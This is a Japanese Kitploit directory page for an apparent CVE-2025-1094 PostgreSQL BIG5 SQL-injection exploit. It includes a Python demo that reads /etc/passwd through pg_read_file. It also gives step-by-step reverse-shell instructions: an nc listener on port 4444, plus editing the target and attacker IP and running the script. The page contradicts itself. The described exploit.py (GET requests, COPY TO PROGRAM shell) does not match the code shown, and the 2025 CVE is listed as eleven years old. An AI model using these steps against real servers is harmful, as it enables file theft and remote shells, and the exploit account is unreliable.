Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-1094 — これは、エンコードの不一致によって引き起こされる入力サニタイズの欠陥であり、細工された入力がフィルターをバイパスすることを可能にします。サーバーが脆弱な場合、攻撃者はバックエンドで実行される悪意のあるSQLを注入できます。 | Kitploit
ツール/GitHubGitHub/aninfosec/cve-2025-1094
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発データベースセキュリティラボと実践
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

これは、エンコードの不一致によって引き起こされる入力サニタイズの欠陥であり、細工された入力がフィルターをバイパスすることを可能にします。サーバーが脆弱な場合、攻撃者はバックエンドで実行される悪意のあるSQLを注入できます。

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

#このエクスプロイトは、CVE-2025-1094 で利用可能なPoCを参考に作成しました。

CVE‑2025‑1094 | PostgreSQL 入力サニタイゼーションの脆弱性

概要

CVE‑2025‑1094 は、PostgreSQL の libpq エスケープ関数および psql 対話ツールにおける入力サニタイゼーションの脆弱性です。クライアントエンコーディングが BIG5 に設定されている場合、マルチバイトエンコーディングの不適切な処理に起因します。特定の条件下では、エスケープ文字の誤処理が発生し、攻撃者が意図されたクエリ境界をバイパスできるようになります。

この脆弱性は、BeyondTrust アプライアンスにおける別の問題である CVE‑2024‑12356 の分析中に Rapid7 によって発見されました。PostgreSQL の挙動は、バックエンドの動作にさらに影響を与えるためのより広範な連鎖脆弱性の一部として悪用されました。

動作原理

Webサーバーやアプリケーションが psql を介して実行されるSQLクエリにユーザー入力を直接渡し、かつ client_encoding が BIG5 に設定されている場合、特別に細工された入力によってSQL文を早期に終了させ、悪意のあるSQLを追加することができます。

これにより、PostgreSQL の lo_export、pg_read_file、または同様の関数を介してローカルファイル(例:/etc/passwd)を読み取るなどの追加操作が可能になります。

これはデフォルトでは PostgreSQL のリモートコード実行(RCE)脆弱性ではありません。むしろ、PostgreSQL クライアントAPIの誤用であり、適切にフィルタリングまたはエスケープされていない場合に、機密ファイルの内容を漏洩させたり、危険なSQLを実行するために悪用される可能性があります。

影響

  • 安全でない設定の場合、PostgreSQL サーバーからのファイル読み取りアクセスを可能にします。
  • 有効な認証情報を持つ攻撃者が、クライアントアプリケーションでのSQLインジェクションと組み合わせて COPY TO、pg_read_file、または lo_export を悪用することを可能にします。
  • エクスプロイトは、クライアントエンコーディングが BIG5 であり、入力が適切にサニタイズされていない場合にのみ有効です。

悪用に必要な条件

  • 攻撃者は有効なPostgreSQL認証情報(認証コンテキスト)を持っているか、入力を直接PostgreSQLサーバーに送信するWebサーバーにアクセスできること。
  • バックエンドSQLはPostgreSQLであり、脆弱なバージョン(2025年6月のパッチバージョンより前)を使用していること。
  • アプリケーションがサニタイズされていない入力を直接SQLに渡していること。
  • PostgreSQL クライアントが client_encoding=BIG5 で設定されていること。

エクスプロイトデモ

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ この Exploit.py の動作:

  • 環境変数 PGCLIENTENCODING=BIG5 を設定します(トリガー条件)。
  • クエリから抜け出して新しい COPY TO PROGRAM コマンドを挿入するSQLインジェクションペイロードを作成します。
  • 脆弱なWebサーバーに GET リクエスト(/search?q=...)を介してペイロードを送信します。
  • バックエンドが psql とサニタイズされていない入力を使用している場合、COPY TO PROGRAM が実行され、結果を書き込むかシェルを開きます。

⚠️ リバースシェルは、次の条件を満たすサーバーでのみ成功します:

  • psql を使用してSQLを実行している(パラメータ化されたDBドライバではない)
  • COPY TO PROGRAM を許可している(スーパーユーザーが必要)
  • 攻撃者へのアウトバウンド接続が可能である

#このPythonスクリプトは、BIG5エンコーディングで入力を直接PostgreSQL psqlプロセスに渡す脆弱なWebサーバーに、特別に細工されたペイロードを送信します。 Steps to Use:

nc -lvnp 4444

エクスプロイトスクリプトを編集します:

  • TARGET_URL をターゲットサーバーのIPまたはドメインに設定します。
  • ENDPOINT がルート(例:/search)と一致することを確認します。
  • REVERSE_IP と REVERSE_PORT を攻撃マシンに合わせて調整します。

別のターミナルでスクリプトを実行します:

python3 exploit.py

結果:成功した場合、リスナーに接続が届きます。成功しない場合は、代わりに pg_read_file ペイロードを使用してファイル(例:/etc/passwd)の読み取りを試みてください。

ラボ環境

  • PostgreSQL 14.x(またはそれ以前の脆弱なバージョン)
  • EUC_TW または類似のエンコーディングで初期化されていること。
  • アプリケーション層(例:Flask)が psql またはエスケープされていない動的SQLを使用してPostgreSQLとやり取りしていること。
  • PostgreSQLユーザーは pg_read_file や lo_export などの関数にアクセスできる必要があります。

緩和策

  • パッチが適用されたPostgreSQLバージョン(≥ 17.3、16.7、15.11、14.16、13.19)にアップグレードする。
  • 明示的に必要な場合を除き、client_encoding=BIG5 を避ける。
  • 生のユーザー入力をSQL実行コンテキストに渡さない。
  • プリペアドステートメントと入力検証ライブラリを使用する。

参考文献

  • Rapid7 ブログ: 技術分析
  • PostgreSQL アドバイザリ: 2025年6月のセキュリティリリース
  • CVE 詳細: CVE-2025-1094
ツールをダウンロード